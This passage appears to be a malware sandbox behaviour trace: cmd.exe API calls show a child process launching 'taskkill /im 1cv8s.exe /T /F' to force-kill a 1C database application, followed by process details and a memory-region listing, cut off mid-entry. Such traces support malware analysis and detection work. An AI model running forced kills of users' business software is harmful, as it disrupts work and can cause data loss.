1 [0045.370] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0045.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f29c | out: lpFindFileData=0x14f29c) returned 0x4c1dc0 [0045.371] FindClose (in: hFindFile=0x4c1dc0 | out: hFindFile=0x4c1dc0) returned 1 [0045.371] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.371] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0045.371] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0045.371] GetEnvironmentStringsW () returned 0x4c2b28* [0045.371] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.371] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaa5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.372] GetConsoleOutputCP () returned 0x1b5 [0045.372] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaa4260 | out: lpCPInfo=0x4aaa4260) returned 1 [0045.372] GetUserDefaultLCID () returned 0x409 [0045.372] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aaa4950, cchData=8 | out: lpLCData=":") returned 2 [0045.372] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f660, cchData=128 | out: lpLCData="0") returned 2 [0045.372] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f660, cchData=128 | out: lpLCData="0") returned 2 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f660, cchData=128 | out: lpLCData="1") returned 2 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aaa4940, cchData=8 | out: lpLCData="/") returned 2 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aaa4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aaa4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aaa4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aaa4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aaa4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aaa4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aaa4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aaa4930, cchData=8 | out: lpLCData=".") returned 2 [0045.373] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aaa4920, cchData=8 | out: lpLCData=",") returned 2 [0045.373] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0045.374] GetConsoleTitleW (in: lpConsoleTitle=0x4c5908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.374] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0045.374] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0045.375] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0045.375] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0045.376] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0045.376] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0045.376] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0045.376] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0045.376] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0045.376] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0045.376] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0045.377] GetConsoleTitleW (in: lpConsoleTitle=0x14f358, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.378] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0045.378] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0045.378] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0045.378] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0045.378] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0045.378] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0045.378] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0045.378] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0045.378] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0045.378] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0045.378] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0045.378] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0045.378] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0045.378] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0045.378] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0045.378] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0045.378] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0045.378] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0045.378] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0045.378] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0045.378] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0045.378] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0045.378] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0045.378] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0045.378] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0045.378] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0045.378] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0045.378] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0045.378] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0045.378] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0045.379] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0045.379] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0045.379] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0045.379] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0045.379] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0045.379] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0045.379] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0045.379] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0045.379] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0045.379] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0045.379] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0045.379] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0045.379] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0045.379] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0045.379] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0045.379] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0045.379] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0045.379] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0045.379] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0045.379] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0045.379] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0045.379] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0045.379] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0045.379] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0045.379] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0045.379] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0045.379] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0045.379] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0045.379] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0045.379] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0045.379] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0045.379] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0045.379] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0045.379] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0045.379] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0045.379] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0045.380] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0045.380] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0045.380] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0045.380] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0045.380] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0045.380] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0045.380] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0045.380] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0045.380] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0045.380] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0045.380] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0045.380] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0045.380] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0045.380] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0045.380] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0045.380] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0045.380] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0045.380] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0045.380] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0045.380] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0045.380] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0045.381] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0045.381] SetErrorMode (uMode=0x0) returned 0x0 [0045.381] SetErrorMode (uMode=0x1) returned 0x0 [0045.381] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4c5dd0, lpFilePart=0x14ee78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14ee78*="Desktop") returned 0x25 [0045.381] SetErrorMode (uMode=0x0) returned 0x1 [0045.381] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.381] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0045.387] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.388] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x14ebf4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ebf4) returned 0xffffffff [0045.388] GetLastError () returned 0x2 [0045.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x14ebf4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ebf4) returned 0xffffffff [0045.388] GetLastError () returned 0x2 [0045.388] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x14ebf4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ebf4) returned 0x4c6110 [0045.389] FindClose (in: hFindFile=0x4c6110 | out: hFindFile=0x4c6110) returned 1 [0045.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x14ebf4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ebf4) returned 0xffffffff [0045.389] GetLastError () returned 0x2 [0045.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x14ebf4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ebf4) returned 0x4c6110 [0045.389] FindClose (in: hFindFile=0x4c6110 | out: hFindFile=0x4c6110) returned 1 [0045.389] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0045.389] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0045.389] GetConsoleTitleW (in: lpConsoleTitle=0x14f0ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.389] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ef74, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f03c | out: lpAttributeList=0x14ef74, lpSize=0x14f03c) returned 1 [0045.389] UpdateProcThreadAttribute (in: lpAttributeList=0x14ef74, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f034, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ef74, lpPreviousValue=0x0) returned 1 [0045.389] GetStartupInfoW (in: lpStartupInfo=0x14ef30 | out: lpStartupInfo=0x14ef30*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x4b19ca, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.390] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.391] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0045.392] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 1cv8s.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14efd0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 1cv8s.exe /T /F", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f01c | out: lpCommandLine="taskkill /im 1cv8s.exe /T /F", lpProcessInformation=0x14f01c*(hProcess=0x7c, hThread=0x78, dwProcessId=0xbc0, dwThreadId=0xbc4)) returned 1 [0045.397] CloseHandle (hObject=0x78) returned 1 [0045.397] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0045.397] GetEnvironmentStringsW () returned 0x4c4dc8* [0045.397] FreeEnvironmentStringsW (penv=0x4c4dc8) returned 1 [0045.397] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0045.717] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x14ef10 | out: lpExitCode=0x14ef10*=0x80) returned 1 [0045.717] CloseHandle (hObject=0x7c) returned 1 [0045.717] _vsnwprintf (in: _Buffer=0x14f058, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ef1c | out: _Buffer="00000080") returned 8 [0045.717] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0045.717] GetEnvironmentStringsW () returned 0x4c2b28* [0045.717] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.717] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0045.717] GetEnvironmentStringsW () returned 0x4c2b28* [0045.717] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.717] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ef74 | out: lpAttributeList=0x14ef74) [0045.717] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.717] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0045.718] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.718] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaa41ac | out: lpMode=0x4aaa41ac) returned 1 [0045.718] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.718] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaa41b0 | out: lpMode=0x4aaa41b0) returned 1 [0045.718] SetConsoleInputExeNameW () returned 0x1 [0045.718] GetConsoleOutputCP () returned 0x1b5 [0045.719] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaa4260 | out: lpCPInfo=0x4aaa4260) returned 1 [0045.719] SetThreadUILanguage (LangId=0x0) returned 0x409 [0045.719] exit (_Code=128) Process: id = "31" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x4906f000" os_pid = "0xbc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "30" os_parent_pid = "0xba8" cmd_line = "taskkill /im 1cv8s.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1940 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1941 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1942 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1943 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1944 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1945 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1946 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1947 start_va = 0x830000 end_va = 0x845fff entry_point = 0x830000 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 1948 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1949 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1950 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1951 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1952 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1953 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1954 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1955 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1956 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1957 start_va = 0x240000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1958 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1959 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1960 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1961 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1962 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1963 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1964 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1965 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1966 start_va = 0x74fc0000 end_va = 0x750aafff entry_point = 0x74fc0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 1967 start_va = 0x751a0000 end_va = 0x751b8fff entry_point = 0x751a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1968 start_va = 0x751c0000 end_va = 0x751d0fff entry_point = 0x751c0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1969 start_va = 0x751e0000 end_va = 0x751eefff entry_point = 0x751e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1970 start_va = 0x751f0000 end_va = 0x751f8fff entry_point = 0x751f0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1971 start_va = 0x75200000 end_va = 0x75234fff entry_point = 0x75200000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 1972 start_va = 0x75240000 end_va = 0x75247fff entry_point = 0x75240000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1973 start_va 